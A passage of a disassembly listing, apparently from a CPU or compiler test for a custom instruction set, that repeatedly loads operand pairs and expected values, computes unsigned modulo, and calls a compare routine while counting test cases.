47e8: 20 70 03 e2 movepc rret,8
47ec: 14 30 ee 09 br 10 <compare>,#al
47f0: 00 10 00 41 add r2,1
47f4: 0d 40 b1 00 wl16 r8,0x580
47f8: 0d 60 01 03 wh16 r8,0x3
47fc: 10 40 01 08 ld32 r8,r8
4800: 0d 42 ce 1c wl16 r16,0x167c
4804: 0d 60 02 03 wh16 r16,0x3
4808: 10 40 02 10 ld32 r16,r16
480c: 0d 44 ed 38 wl16 r9,0x2778
4810: 0d 60 01 23 wh16 r9,0x3
4814: 10 40 01 29 ld32 r9,r9
4818: 00 a0 01 10 umod r8,r16
481c: 20 70 03 e2 movepc rret,8
4820: 14 30 ed fc br 10 <compare>,#al
4824: 00 10 00 41 add r2,1
4828: 0d 40 b1 04 wl16 r8,0x584
482c: 0d 60 01 03 wh16 r8,0x3
4830: 10 40 01 08 ld32 r8,r8
4834: 0d 42 d2 00 wl16 r16,0x1680
4838: 0d 60 02 03 wh16 r16,0x3
483c: 10 40 02 10 ld32 r16,r16
4840: 0d 44 ed 3c wl16 r9,0x277c
4844: 0d 60 01 23 wh16 r9,0x3
4848: 10 40 01 29 ld32 r9,r9
484c: 00 a0 01 10 umod r8,r16
4850: 20 70 03 e2 movepc rret,8
4854: 14 30 ed ef br 10 <compare>,#al
4858: 00 10 00 41 add r2,1
485c: 0d 40 b1 08 wl16 r8,0x588
4860: 0d 60 01 03 wh16 r8,0x3
4864: 10 40 01 08 ld32 r8,r8
4868: 0d 42 d2 04 wl16 r16,0x1684
486c: 0d 60 02 03 wh16 r16,0x3
4870: 10 40 02 10 ld32 r16,r16
4874: 0d 44 f1 20 wl16 r9,0x2780
4878: 0d 60 01 23 wh16 r9,0x3
487c: 10 40 01 29 ld32 r9,r9
4880: 00 a0 01 10 umod r8,r16
4884: 20 70 03 e2 movepc rret,8
4888: 14 30 ed e2 br 10 <compare>,#al
488c: 00 10 00 41 add r2,1
4890: 0d 40 b1 0c wl16 r8,0x58c
4894: 0d 60 01 03 wh16 r8,0x3
4898: 10 40 01 08 ld32 r8,r8
489c: 0d 42 d2 08 wl16 r16,0x1688
48a0: 0d 60 02 03 wh16 r16,0x3
48a4: 10 40 02 10 ld32 r16,r16
48a8: 0d 44 f1 24 wl16 r9,0x2784
48ac: 0d 60 01 23 wh16 r9,0x3
48b0: 10 40 01 29 ld32 r9,r9
48b4: 00 a0 01 10 umod r8,r16
48b8: 20 70 03 e2 movepc rret,8
48bc: 14 30 ed d5 br 10 <compare>,#al
48c0: 00 10 00 41 add r2,1
48c4: 0d 40 b1 10 wl16 r8,0x590
48c8: 0d 60 01 03 wh16 r8,0x3
48cc: 10 40 01 08 ld32 r8,r8
48d0: 0d 42 d2 0c wl16 r16,0x168c
48d4: 0d 60 02 03 wh16 r16,0x3
48d8: 10 40 02 10 ld32 r16,r16
48dc: 0d 44 f1 28 wl16 r9,0x2788
48e0: 0d 60 01 23 wh16 r9,0x3
48e4: 10 40 01 29 ld32 r9,r9
48e8: 00 a0 01 10 umod r8,r16
48ec: 20 70 03 e2 movepc rret,8
48f0: 14 30 ed c8 br 10 <compare>,#al
48f4: 00 10 00 41 add r2,1
48f8: 0d 40 b1 14 wl16 r8,0x594
48fc: 0d 60 01 03 wh16 r8,0x3
4900: 10 40 01 08 ld32 r8,r8
4904: 0d 42 d2 10 wl16 r16,0x1690
4908: 0d 60 02 03 wh16 r16,0x3
490c: 10 40 02 10 ld32 r16,r16
4910: 0d 44 f1 2c wl16 r9,0x278c
4914: 0d 60 01 23 wh16 r9,0x3
4918: 10 40 01 29 ld32 r9,r9
491c: 00 a0 01 10 umod r8,r16
4920: 20 70 03 e2 movepc rret,8
4924: 14 30 ed bb br 10 <compare>,#al
4928: 00 10 00 41 add r2,1
492c: 0d 40 b1 18 wl16 r8,0x598
4930: 0d 60 01 03 wh16 r8,0x3
4934: 10 40 01 08 ld32 r8,r8
4938: 0d 42 d2 14 wl16 r16,0x1694
493c: 0d 60 02 03 wh16 r16,0x3
4940: 10 40 02 10 ld32 r16,r16
4944: 0d 44 f1 30 wl16 r9,0x2790
4948: 0d 60 01 23 wh16 r9,0x3
494c: 10 40 01 29 ld32 r9,r9
4950: 00 a0 01 10 umod r8,r16
4954: 20 70 03 e2 movepc rret,8
4958: 14 30 ed ae br 10 <compare>,#al
495c: 00 10 00 41 add r2,1
4960: 0d 40 b1 1c wl16 r8,0x59c
4964: 0d 60 01 03 wh16 r8,0x3
4968: 10 40 01 08 ld32 r8,r8
496c: 0d 42 d2 18 wl16 r16,0x1698
4970: 0d 60 02 03 wh16 r16,0x3
4974: 10 40 02 10 ld32 r16,r16
4978: 0d 44 f1 34 wl16 r9,0x2794
497c: 0d 60 01 23 wh16 r9,0x3
4980: 10 40 01 29 ld32 r9,r9
4984: 00 a0 01 10 umod r8,r16
4988: 20 70 03 e2 movepc rret,8
498c: 14 30 ed a1 br 10 <compare>,#al
4990: 00 10 00 41 add r2,1
4994: 0d 40 b5 00 wl16 r8,0x5a0
4998: 0d 60 01 03 wh16 r8,0x3
499c: 10 40 01 08 ld32 r8,r8
49a0: 0d 42 d2 1c wl16 r16,0x169c
49a4: 0d 60 02 03 wh16 r16,0x3
49a8: 10 40 02 10 ld32 r16,r16
49ac: 0d 44 f1 38 wl16 r9,0x2798
49b0: 0d 60 01 23 wh16 r9,0x3
49b4: 10 40 01 29 ld32 r9,r9
49b8: 00 a0 01 10 umod r8,r16
49bc: 20 70 03 e2 movepc rret,8
49c0: 14 30 ed 94 br 10 <compare>,#al
49c4: 00 10 00 41 add r2,1
49c8: 0d 40 b5 04 wl16 r8,0x5a4
49cc: 0d 60 01 03 wh16 r8,0x3
49d0: 10 40 01 08 ld32 r8,r8
49d4: 0d 42 d6 00 wl16 r16,0x16a0
49d8: 0d 60 02 03 wh16 r16,0x3
49dc: 10 40 02 10 ld32 r16,r16
49e0: 0d 44 f1 3c wl16 r9,0x279c
49e4: 0d 60 01 23 wh16 r9,0x3
49e8: 10 40 01 29 ld32 r9,r9
49ec: 00 a0 01 10 umod r8,r16
49f0: 20 70 03 e2 movepc rret,8
49f4: 14 30 ed 87 br 10 <compare>,#al
49f8: 00 10 00 41 add r2,1
49fc: 0d 40 b5 08 wl16 r8,0x5a8
4a00: 0d 60 01 03 wh16 r8,0x3
4a04: 10 40 01 08 ld32 r8,r8
4a08: 0d 42 d6 04 wl16 r16,0x16a4
4a0c: 0d 60 02 03 wh16 r16,0x3
4a10: 10 40 02 10 ld32 r16,r16
4a14: 0d 44 f5 20 wl16 r9,0x27a0
4a18: 0d 60 01 23 wh16 r9,0x3
4a1c: 10 40 01 29 ld32 r9,r9
4a20: 00 a0 01 10 umod r8,r16
4a24: 20 70 03 e2 movepc rret,8
4a28: 14 30 ed 7a br 10 <compare>,#al
4a2c: 00 10 00 41 add r2,1
4a30: 0d 40 b5 0c wl16 r8,0x5ac
4a34: 0d 60 01 03 wh16 r8,0x3
4a38: 10 40 01 08 ld32 r8,r8
4a3c: 0d 42 d6 08 wl16 r16,0x16a8
4a40: 0d 60 02 03 wh16 r16,0x3
4a44: 10 40 02 10 ld32 r16,r16
4a48: 0d 44 f5 24 wl16 r9,0x27a4
4a4c: 0d 60 01 23 wh16 r9,0x3
4a50: 10 40 01 29 ld32 r9,r9
4a54: 00 a0 01 10 umod r8,r16
4a58: 20 70 03 e2 movepc rret,8
4a5c: 14 30 ed 6d br 10 <compare>,#al
4a60: 00 10 00 41 add r2,1
4a64: 0d 40 b5 10 wl16 r8,0x5b0
4a68: 0d 60 01 03 wh16 r8,0x3
4a6c: 10 40 01 08 ld32 r8,r8
4a70: 0d 42 d6 0c wl16 r16,0x16ac
4a74: 0d 60 02 03 wh16 r16,0x3
4a78: 10 40 02 10 ld32 r16,r16
4a7c: 0d 44 f5 28 wl16 r9,0x27a8
4a80: 0d 60 01 23 wh16 r9,0x3
4a84: 10 40 01 29 ld32 r9,r9
4a88: 00 a0 01 10 umod r8,r16
4a8c: 20 70 03 e2 movepc rret,8
4a90: 14 30 ed 60 br 10 <compare>,#al
4a94: 00 10 00 41 add r2,1
4a98: 0d 40 b5 14 wl16 r8,0x5b4
4a9c: 0d 60 01 03 wh16 r8,0x3
4aa0: 10 40 01 08 ld32 r8,r8
4aa4: 0d 42 d6 10 wl16 r16,0x16b0
4aa8: 0d 60 02 03 wh16 r16,0x3
4aac: 10 40 02 10 ld32 r16,r16
4ab0: 0d 44 f5 2c wl16 r9,0x27ac
4ab4: 0d 60 01 23 wh16 r9,0x3
4ab8: 10 40 01 29 ld32 r9,r9
4abc: 00 a0 01 10 umod r8,r16
4ac0: 20 70 03 e2 movepc rret,8
4ac4: 14 30 ed 53 br 10 <compare>,#al
4ac8: 00 10 00 41 add r2,1
4acc: 0d 40 b5 18 wl16 r8,0x5b8
4ad0: 0d 60 01 03 wh16 r8,0x3
4ad4: 10 40 01 08 ld32 r8,r8
4ad8: 0d 42 d6 14 wl16 r16,0x16b4
4adc: 0d 60 02 03 wh16 r16,0x3
4ae0: 10 40 02 10 ld32 r16,r16
4ae4: 0d 44 f5 30 wl16 r9,0x27b0
4ae8: 0d 60 01 23 wh16 r9,0x3
4aec: 10 40 01 29 ld32 r9,r9
4af0: 00 a0 01 10 umod r8,r16
4af4: 20 70 03 e2 movepc rret,8
4af8: 14 30 ed 46 br 10 <compare>,#al
4afc: 00 10 00 41 add r2,1
4b00: 0d 40 b5 1c wl16 r8,0x5bc
4b04: 0d 60 01 03 wh16 r8,0x3
4b08: 10 40 01 08 ld32 r8,r8
4b0c: 0d 42 d6 18 wl16 r16,0x16b8
4b10: 0d 60 02 03 wh16 r16,0x3
4b14: 10 40 02 10 ld32 r16,r16
4b18: 0d 44 f5 34 wl16 r9,0x27b4
4b1c: 0d 60 01 23 wh16 r9,0x3
4b20: 10 40 01 29 ld32 r9,r9
4b24: 00 a0 01 10 umod r8,r16
4b28: 20 70 03 e2 movepc rret,8
4b2c: 14 30 ed 39 br 10 <compare>,#al
4b30: 00 10 00 41 add r2,1
4b34: 0d 40 b9 00 wl16 r8,0x5c0
4b38: 0d 60 01 03 wh16 r8,0x3
4b3c: 10 40 01 08 ld32 r8,r8
4b40: 0d 42 d6 1c wl16 r16,0x16bc
4b44: 0d 60 02 03 wh16 r16,0x3
4b48: 10 40 02 10 ld32 r16,r16
4b4c: 0d 44 f5 38 wl16 r9,0x27b8
4b50: 0d 60 01 23 wh16 r9,0x3
4b54: 10 40 01 29 ld32 r9,r9
4b58: 00 a0 01 10 umod r8,r16
4b5c: 20 70 03 e2 movepc rret,8
4b60: 14 30 ed 2c br 10 <compare>,#al
4b64: 00 10 00 41 add r2,1
4b68: 0d 40 b9 04 wl16 r8,0x5c4
4b6c: 0d 60 01 03 wh16 r8,0x3
4b70: 10 40 01 08 ld32 r8,r8
4b74: 0d 42 da 00 wl16 r16,0x16c0
4b78: 0d 60 02 03 wh16 r16,0x3
4b7c: 10 40 02 10 ld32 r16,r16
4b80: 0d 44 f5 3c wl16 r9,0x27bc
4b84: 0d 60 01 23 wh16 r9,0x3
4b88: 10 40 01 29 ld32 r9,r9
4b8c: 00 a0 01 10 umod r8,r16
4b90: 20 70 03 e2 movepc rret,8
4b94: 14 30 ed 1f br 10 <compare>,#al
4b98: 00 10 00 41 add r2,1
4b9c: 0d 40 b9 08 wl16 r8,0x5c8
4ba0: 0d 60 01 03 wh16 r8,0x3
4ba4: 10 40 01 08 ld32 r8,r8
4ba8: 0d 42 da 04 wl16 r16,0x16c4
4bac: 0d 60 02 03 wh16 r16,0x3
4bb0: 10 40 02 10 ld32 r16,r16
4bb4: 0d 44 f9 20 wl16 r9,0x27c0
4bb8: 0d 60 01 23 wh16 r9,0x3
4bbc: 10 40 01 29 ld32 r9,r9
4bc0: 00 a0 01 10 umod r8,r16
4bc4: 20 70 03 e2 movepc rret,8
4bc8: 14 30 ed 12 br 10 <compare>,#al
4bcc: 00 10 00 41 add r2,1
4bd0: 0d 40 b9 0c wl16 r8,0x5cc
4bd4: 0d 60 01 03 wh16 r8,0x3
4bd8: 10 40 01 08 ld32 r8,r8
4bdc: 0d 42 da 08 wl16 r16,0x16c8
4be0: 0d 60 02 03 wh16 r16,0x3
4be4: 10 40 02 10 ld32 r16,r16
4be8: 0d 44 f9 24 wl16 r9,0x27c4
4bec: 0d 60 01 23 wh16 r9,0x3
4bf0: 10 40 01 29 ld32 r9,r9
4bf4: 00 a0 01 10 umod r8,r16
4bf8: 20 70 03 e2 movepc rret,8
4bfc: 14 30 ed 05 br 10 <compare>,#al
4c00: 00 10 00 41 add r2,1
4c04: 0d 40 b9 10 wl16 r8,0x5d0
4c08: 0d 60 01 03 wh16 r8,0x3
4c0c: 10 40 01 08 ld32 r8,r8
4c10: 0d 42 da 0c wl16 r16,0x16cc
4c14: 0d 60 02 03 wh16 r16,0x3
4c18: 10 40 02 10 ld32 r16,r16
4c1c: 0d 44 f9 28 wl16 r9,0x27c8
4c20: 0d 60 01 23 wh16 r9,0x3
4c24: 10 40 01 29 ld32 r9,r9
4c28: 00 a0 01 10 umod r8,r16
4c2c: 20 70 03 e2 movepc rret,8
4c30: 14 30 ec f8 br 10 <compare>,#al
4c34: 00 10 00 41 add r2,1
4c38: 0d 40 b9 14 wl16 r8,0x5d4
4c3c: 0d 60 01 03 wh16 r8,0x3
4c40: 10 40 01 08 ld32 r8,r8
4c44: 0d 42 da 10 wl16 r16,0x16d0
4c48: 0d 60 02 03 wh16 r16,0x3
4c4c: 10 40 02 10 ld32 r16,r16
4c50: 0d 44 f9 2c wl16 r9,0x27cc
4c54: 0d 60 01 23 wh16 r9,0x3
4c58: 10 40 01 29 ld32 r9,r9
4c5c: 00 a0 01 10 umod r8,r16
4c60: 20 70 03 e2 movepc rret,8
4c64: 14 30 ec eb br 10 <compare>,#al
4c68: 00 10 00 41 add r2,1
4c6c: 0d 40 b9 18 wl16 r8,0x5d8
4c70: 0d 60 01 03 wh16 r8,0x3
4c74: 10 40 01 08 ld32 r8,r8
4c78: 0d 42 da 14 wl16 r16,0x16d4
4c7c: 0d 60 02 03 wh16 r16,0x3
4c80: 10 40 02 10 ld32 r16,r16
4c84: 0d 44 f9 30 wl16 r9,0x27d0
4c88: 0d 60 01 23 wh16 r9,0x3
4c8c: 10 40 01 29 ld32 r9,r9
4c90: 00 a0 01 10 umod r8,r16
4c94: 20 70 03 e2 movepc rret,8
4c98: 14 30 ec de br 10 <compare>,#al
4c9c: 00 10 00 41 add r2,1
4ca0: 0d 40 b9 1c wl16 r8,0x5dc
4ca4: 0d 60 01 03 wh16 r8,0x3
4ca8: 10 40 01 08 ld32 r8,r8
4cac: 0d 42 da 18 wl16 r16,0x16d8
4cb0: 0d 60 02 03 wh16 r16,0x3
4cb4: 10 40 02 10 ld32 r16,r16
4cb8: 0d 44 f9 34 wl16 r9,0x27d4
4cbc: 0d 60 01 23 wh16 r9,0x3
4cc0: 10 40 01 29 ld32 r9,r9
4cc4: 00 a0 01 10 umod r8,r16
4cc8: 20 70 03 e2 movepc rret,8
4ccc: 14 30 ec d1 br 10 <compare>,#al
4cd0: 00 10 00 41 add r2,1
4cd4: 0d 40 bd 00 wl16 r8,0x5e0
4cd8: 0d 60 01 03 wh16 r8,0x3
4cdc: 10 40 01 08 ld32 r8,r8
4ce0: 0d 42 da 1c wl16 r16,0x16dc
4ce4: 0d 60 02 03 wh16 r16,0x3
4ce8: 10 40 02 10 ld32 r16,r16
4cec: 0d 44 f9 38 wl16 r9,0x27d8
4cf0: 0d 60 01 23 wh16 r9,0x3
4cf4: 10 40 01 29 ld32 r9,r9
4cf8: 00 a0 01 10 umod r8,r16
4cfc: 20 70 03 e2 movepc rret,8
4d00: 14 30 ec c4 br 10 <compare>,#al
4d04: 00 10 00 41 add r2,1
4d08: 0d 40 bd 04 wl16 r8,0x5e4
4d0c: 0d 60 01 03 wh16 r8,0x3
4d10: 10 40 01 08 ld32 r8,r8
4d14: 0d 42 de 00 wl16 r16,0x16e0
4d18: 0d 60 02 03 wh16 r16,0x3
4d1c: 10 40 02 10 ld32 r16,r16
4d20: 0d 44 f9 3c wl16 r9,0x27dc
4d24: 0d 60 01 23 wh16 r9,0x3
4d28: 10 40 01 29 ld32 r9,r9
4d2c: 00 a0 01 10 umod r8,r16
4d30: 20 70 03 e2 movepc rret,8
4d34: 14 30 ec b7 br 10 <compare>,#al
4d38: 00 10 00 41 add r2,1
4d3c: 0d 40 bd 08 wl16 r8,0x5e8
4d40: 0d 60 01 03 wh16 r8,0x3
4d44: 10 40 01 08 ld32 r8,r8
4d48: 0d 42 de 04 wl16 r16,0x16e4
4d4c: 0d 60 02 03 wh16 r16,0x3
4d50: 10 40 02 10 ld32 r16,r16
4d54: 0d 44 fd 20 wl16 r9,0x27e0
4d58: 0d 60 01 23 wh16 r9,0x3
4d5c: 10 40 01 29 ld32 r9,r9
4d60: 00 a0 01 10 umod r8,r16
4d64: 20 70 03 e2 movepc rret,8
4d68: 14 30 ec aa br 10 <compare>,#al
4d6c: 00 10 00 41 add r2,1
4d70: 0d 40 bd 0c wl16 r8,0x5ec
4d74: 0d 60 01 03 wh16 r8,0x3
4d78: 10 40 01 08 ld32 r8,r8
4d7c: 0d 42 de 08 wl16 r16,0x16e8
4d80: 0d 60 02 03 wh16 r16,0x3
4d84: 10 40 02 10 ld32 r16,r16
4d88: 0d 44 fd 24 wl16 r9,0x27e4
4d8c: 0d 60 01 23 wh16 r9,0x3
4d90: 10 40 01 29 ld32 r9,r9
4d94: 00 a0 01 10 umod r8,r16
4d98: 20 70 03 e2 movepc rret,8
4d9c: 14 30 ec 9d br 10 <compare>,#al
4da0: 00 10 00 41 add r2,1
4da4: 0d 40 bd 10 wl16 r8,0x5f0
4da8: 0d 60 01 03 wh16 r8,0x3
4dac: 10 40 01 08 ld32 r8,r8
4db0: 0d 42 de 0c wl16 r16,0x16ec
4db4: 0d 60 02 03 wh16 r16,0x3
4db8: 10 40 02 10 ld32 r16,r16
4dbc: 0d 44 fd 28 wl16 r9,0x27e8
4dc0: 0d 60 01 23 wh16 r9,0x3
4dc4: 10 40 01 29 ld32 r9,r9
4dc8: 00 a0 01 10 umod r8,r16
4dcc: 20 70 03 e2 movepc rret,8
4dd0: 14 30 ec 90 br 10 <compare>,#al
4dd4: 00 10 00 41 add r2,1
4dd8: 0d 40 bd 14 wl16 r8,0x5f4
4ddc: 0d 60 01 03 wh16 r8,0x3
4de0: 10 40 01 08 ld32 r8,r8
4de4: 0d 42 de 10 wl16 r16,0x16f0
4de8: 0d 60 02 03 wh16 r16,0x3
4dec: 10 40 02 10 ld32 r16,r16
4df0: 0d 44 fd 2c wl16 r9,0x27ec
4df4: 0d 60 01 23 wh16 r9,0x3
4df8: 10 40 01 29 ld32 r9,r9
4dfc: 00 a0 01 10 umod r8,r16
4e00: 20 70 03 e2 movepc rret,8
4e04: 14 30 ec 83 br 10 <compare>,#al
4e08: 00 10 00 41 add r2,1
4e0c: 0d 40 bd 18 wl16 r8,0x5f8
4e10: 0d 60 01 03 wh16 r8,0x3
4e14: 10 40 01 08 ld32 r8,r8
4e18: 0d 42 de 14 wl16 r16,0x16f4
4e1c: 0d 60 02 03 wh16 r16,0x3
4e20: 10 40 02 10 ld32 r16,r16
4e24: 0d 44 fd 30 wl16 r9,0x27f0
4e28: 0d 60 01 23 wh16 r9,0x3
4e2c: 10 40 01 29 ld32 r9,r9
4e30: 00 a0 01 10 umod r8,r16
4e34: 20 70 03 e2 movepc rret,8
4e38: 14 30 ec 76 br 10 <compare>,#al
4e3c: 00 10 00 41 add r2,1
4e40: 0d 40 bd 1c wl16 r8,0x5fc
4e44: 0d 60 01 03 wh16 r8,0x3
4e48: 10 40 01 08 ld32 r8,r8
4e4c: 0d 42 de 18 wl16 r16,0x16f8
4e50: 0d 60 02 03 wh16 r16,0x3
4e54: 10 40 02 10 ld32 r16,r16
4e58: 0d 44 fd 34 wl16 r9,0x27f4
4e5c: 0d 60 01 23 wh16 r9,0x3
4e60: 10 40 01 29 ld32 r9,r9
4e64: 00 a0 01 10 umod r8,r16
4e68: 20 70 03 e2 movepc rret,8
4e6c: 14 30 ec 69 br 10 <compare>,#al
4e70: 00 10 00 41 add r2,1
4e74: 0d 40 c1 00 wl16 r8,0x600
4e78: 0d 60 01 03 wh16 r8,0x3
4e7c: 10 40 01 08 ld32 r8,r8
4e80: 0d 42 de 1c wl16 r16,0x16fc
4e84: 0d 60 02 03 wh16 r16,0x3
4e88: 10 40 02 10 ld32 r16,r16
4e8c: 0d 44 fd 38 wl16 r9,0x27f8
4e90: 0d 60 01 23 wh16 r9,0x3
4e94: 10 40 01 29 ld32 r9,r9
4e98: 00 a0 01 10 umod r8,r16
4e9c: 20 70 03 e2 movepc rret,8
4ea0: 14 30 ec 5c br 10 <compare>,#al
4ea4: 00 10 00 41 add r2,1
4ea8: 0d 40 c1 04 wl16 r8,0x604
4eac: 0d 60 01 03 wh16 r8,0x3
4eb0: 10 40 01 08 ld32 r8,r8
4eb4: 0d 42 e2 00 wl16 r16,0x1700
4eb8: 0d 60 02 03 wh16 r16,0x3
4ebc: 10 40 02 10 ld32 r16,r16
4ec0: 0d 44 fd 3c wl16 r9,0x27fc
4ec4: 0d 60 01 23 wh16 r9,0x3
4ec8: 10 40 01 29 ld32 r9,r9
4ecc: 00 a0 01 10 umod r8,r16
4ed0: 20 70 03 e2 movepc rret,8
4ed4: 14 30 ec 4f br 10 <compare>,#al
4ed8: 00 10 00 41 add r2,1
4edc: 0d 40 c1 08 wl16 r8,0x608
4ee0: 0d 60 01 03 wh16 r8,0x3
4ee4: 10 40 01 08 ld32 r8,r8
4ee8: 0d 42 e2 04 wl16 r16,0x1704
4eec: 0d 60 02 03 wh16 r16,0x3
4ef0: 10 40 02 10 ld32 r16,r16
4ef4: 0d 45 01 20 wl16 r9,0x2800
4ef8: 0d 60 01 23 wh16 r9,0x3
4efc: 10 40 01 29 ld32 r9,r9
4f00: 00 a0 01 10 umod r8,r16
4f04: 20 70 03 e2 movepc rret,8
4f08: 14 30 ec 42 br 10 <compare>,#al
4f0c: 00 10 00 41 add r2,1
4f10: 0d 40 c1 0c wl16 r8,0x60c
4f14: 0d 60 01 03 wh16 r8,0x3
4f18: 10 40 01 08 ld32 r8,r8
4f1c: 0d 42 e2 08 wl16 r16,0x1708
4f20: 0d 60 02 03 wh16 r16,0x3
4f24: 10 40 02 10 ld32 r16,r16
4f28: 0d 45 01 24 wl16 r9,0x2804
4f2c: 0d 60 01 23 wh16 r9,0x3
4f30: 10 40 01 29 ld32 r9,r9
4f34: 00 a0 01 10 umod r8,r16
4f38: 20 70 03 e2 movepc rret,8
4f3c: 14 30 ec 35 br 10 <compare>,#al
4f40: 00 10 00 41 add r2,1
4f44: 0d 40 c1 10 wl16 r8,0x610
4f48: 0d 60 01 03 wh16 r8,0x3
4f4c: 10 40 01 08 ld32 r8,r8
4f50: 0d 42 e2 0c wl16 r16,0x170c
4f54: 0d 60 02 03 wh16 r16,0x3
4f58: 10 40 02 10 ld32 r16,r16
4f5c: 0d 45 01 28 wl16 r9,0x2808
4f60: 0d 60 01 23 wh16 r9,0x3
4f64: 10 40 01 29 ld32 r9,r9
4f68: 00 a0 01 10 umod r8,r16
4f6c: 20 70 03 e2 movepc rret,8
4f70: 14 30 ec 28 br 10 <compare>,#al
4f74: 00 10 00 41 add r2,1
4f78: 0d 40 c1 14 wl16 r8,0x614
4f7c: 0d 60 01 03 wh16 r8,0x3
4f80: 10 40 01 08 ld32 r8,r8
4f84: 0d 42 e2 10 wl16 r16,0x1710
4f88: 0d 60 02 03 wh16 r16,0x3
4f8c: 10 40 02 10 ld32 r16,r16
4f90: 0d 45 01 2c wl16 r9,0x280c
4f94: 0d 60 01 23 wh16 r9,0x3
4f98: 10 40 01 29 ld32 r9,r9
4f9c: 00 a0 01 10 umod r8,r16
4fa0: 20 70 03 e2 movepc rret,8
4fa4: 14 30 ec 1b br 10 <compare>,#al
4fa8: 00 10 00 41 add r2,1
4fac: 0d 40 c1 18 wl16 r8,0x618
4fb0: 0d 60 01 03 wh16 r8,0x3
4fb4: 10 40 01 08 ld32 r8,r8
4fb8: 0d 42 e2 14 wl16 r16,0x1714
4fbc: 0d 60 02 03 wh16 r16,0x3
4fc0: 10 40 02 10 ld32 r16,r16
4fc4: 0d 45 01 30 wl16 r9,0x2810
4fc8: 0d 60 01 23 wh16 r9,0x3
4fcc: 10 40 01 29 ld32 r9,r9
4fd0: 00 a0 01 10 umod r8,r16
4fd4: 20 70 03 e2 movepc rret,8
4fd8: 14 30 ec 0e br 10 <compare>,#al
4fdc: 00 10 00 41 add r2,1
4fe0: 0d 40 c1 1c wl16 r8,0x61c
4fe4: 0d 60 01 03 wh16 r8,0x3
4fe8: 10 40 01 08 ld32 r8,r8
4fec: 0d 42 e2 18 wl16 r16,0x1718
4ff0: 0d 60 02 03 wh16 r16,0x3
4ff4: 10 40 02 10 ld32 r16,r16
4ff8: 0d 45 01 34 wl16 r9,0x2814
4ffc: 0d 60 01 23 wh16 r9,0x3
5000: 10 40 01 29 ld32 r9,r9
5004: 00 a0 01 10 umod r8,r16
5008: 20 70 03 e2 movepc rret,8
500c: 14 30 ec 01 br 10 <compare>,#al
5010: 00 10 00 41 add r2,1
5014: 0d 40 c5 00 wl16 r8,0x620
5018: 0d 60 01 03 wh16 r8,0x3
501c: 10 40 01 08 ld32 r8,r8
5020: 0d 42 e2 1c wl16 r16,0x171c
5024: 0d 60 02 03 wh16 r16,0x3
5028: 10 40 02 10 ld32 r16,r16
502c: 0d 45 01 38 wl16 r9,0x2818
5030: 0d 60 01 23 wh16 r9,0x3
5034: 10 40 01 29 ld32 r9,r9
5038: 00 a0 01 10 umod r8,r16
503c: 20 70 03 e2 movepc rret,8
5040: 14 30 eb f4 br 10 <compare>,#al
5044: 00 10 00 41 add r2,1
5048: 0d 40 c5 04 wl16 r8,0x624
504c: 0d 60 01 03 wh16 r8,0x3
5050: 10 40 01 08 ld32 r8,r8
5054: 0d 42 e6 00 wl16 r16,0x1720
5058: 0d 60 02 03 wh16 r16,0x3
505c: 10 40 02 10 ld32 r16,r16
5060: 0d 45 01 3c wl16 r9,0x281c
5064: 0d 60 01 23 wh16 r9,0x3
5068: 10 40 01 29 ld32 r9,r9
506c: 00 a0 01 10 umod r8,r16
5070: 20 70 03 e2 movepc rret,8
5074: 14 30 eb e7 br 10 <compare>,#al
5078: 00 10 00 41 add r2,1
507c: 0d 40 c5 08 wl16 r8,0x628
5080: 0d 60 01 03 wh16 r8,0x3
5084: 10 40 01 08 ld32 r8,r8
5088: 0d 42 e6 04 wl16 r16,0x1724
508c: 0d 60 02 03 wh16 r16,0x3
5090: 10 40 02 10 ld32 r16,r16
5094: 0d 45 05 20 wl16 r9,0x2820
5098: 0d 60 01 23 wh16 r9,0x3
509c: 10 40 01 29 ld32 r9,r9
50a0: 00 a0 01 10 umod r8,r16
50a4: 20 70 03 e2 movepc rret,8
50a8: 14 30 eb da br 10 <compare>,#al
50ac: 00 10 00 41 add r2,1
50b0: 0d 40 c5 0c wl16 r8,0x62c
50b4: 0d 60 01 03 wh16 r8,0x3
50b8: 10 40 01 08 ld32 r8,r8
50bc: 0d 42 e6 08 wl16 r16,0x1728
50c0: 0d 60 02 03 wh16 r16,0x3
50c4: 10 40 02 10 ld32 r16,r16
50c8: 0d 45 05 24 wl16 r9,0x2824
50cc: 0d 60 01 23 wh16 r9,0x3
50d0: 10 40 01 29 ld32 r9,r9
50d4: 00 a0 01 10 umod r8,r16
50d8: 20 70 03 e2 movepc rret,8
50dc: 14 30 eb cd br 10 <compare>,#al
50e0: 00 10 00 41 add r2,1
50e4: 0d 40 c5 10 wl16 r8,0x630
50e8: 0d 60 01 03 wh16 r8,0x3
50ec: 10 40 01 08 ld32 r8,r8
50f0: 0d 42 e6 0c wl16 r16,0x172c
50f4: 0d 60 02 03 wh16 r16,0x3
50f8: 10 40 02 10 ld32 r16,r16
50fc: 0d 45 05 28 wl16 r9,0x2828
5100: 0d 60 01 23 wh16 r9,0x3
5104: 10 40 01 29 ld32 r9,r9
5108: 00 a0 01 10 umod r8,r16
510c: 20 70 03 e2 movepc rret,8
5110: 14 30 eb c0 br 10 <compare>,#al
5114: 00 10 00 41 add r2,1
5118: 0d 40 c5 14 wl16 r8,0x634
511c: 0d 60 01 03 wh16 r8,0x3
5120: 10 40 01 08 ld32 r8,r8
5124: 0d 42 e6 10 wl16 r16,0x1730
5128: 0d 60 02 03 wh16 r16,0x3
512c: 10 40 02 10 ld32 r16,r16
5130: 0d 45 05 2c wl16 r9,0x282c
5134: 0d 60 01 23 wh16 r9,0x3
5138: 10 40 01 29 ld32 r9,r9
513c: 00 a0 01 10 umod r8,r16
5140: 20 70 03 e2 movepc rret,8
5144: 14 30 eb b3 br 10 <compare>,#al
5148: 00 10 00 41 add r2,1
514c: 0d 40 c5 18 wl16 r8,0x638
5150: 0d 60 01 03 wh16 r8,0x3
5154: 10 40 01 08 ld32 r8,r8
5158: 0d 42 e6 14 wl16 r16,0x1734
515c: 0d 60 02 03 wh16 r16,0x3
5160: 10 40 02 10 ld32 r16,r16
5164: 0d 45 05 30 wl16 r9,0x2830
5168: 0d 60 01 23 wh16 r9,0x3
516c: 10 40 01 29 ld32 r9,r9
5170: 00 a0 01 10 umod r8,r16
5174: 20 70 03 e2 movepc rret,8
5178: 14 30 eb a6 br 10 <compare>,#al
517c: 00 10 00 41 add r2,1
5180: 0d 40 c5 1c wl16 r8,0x63c
5184: 0d 60 01 03 wh16 r8,0x3
5188: 10 40 01 08 ld32 r8,r8
518c: 0d 42 e6 18 wl16 r16,0x1738
5190: 0d 60 02 03 wh16 r16,0x3
5194: 10 40 02 10 ld32 r16,r16
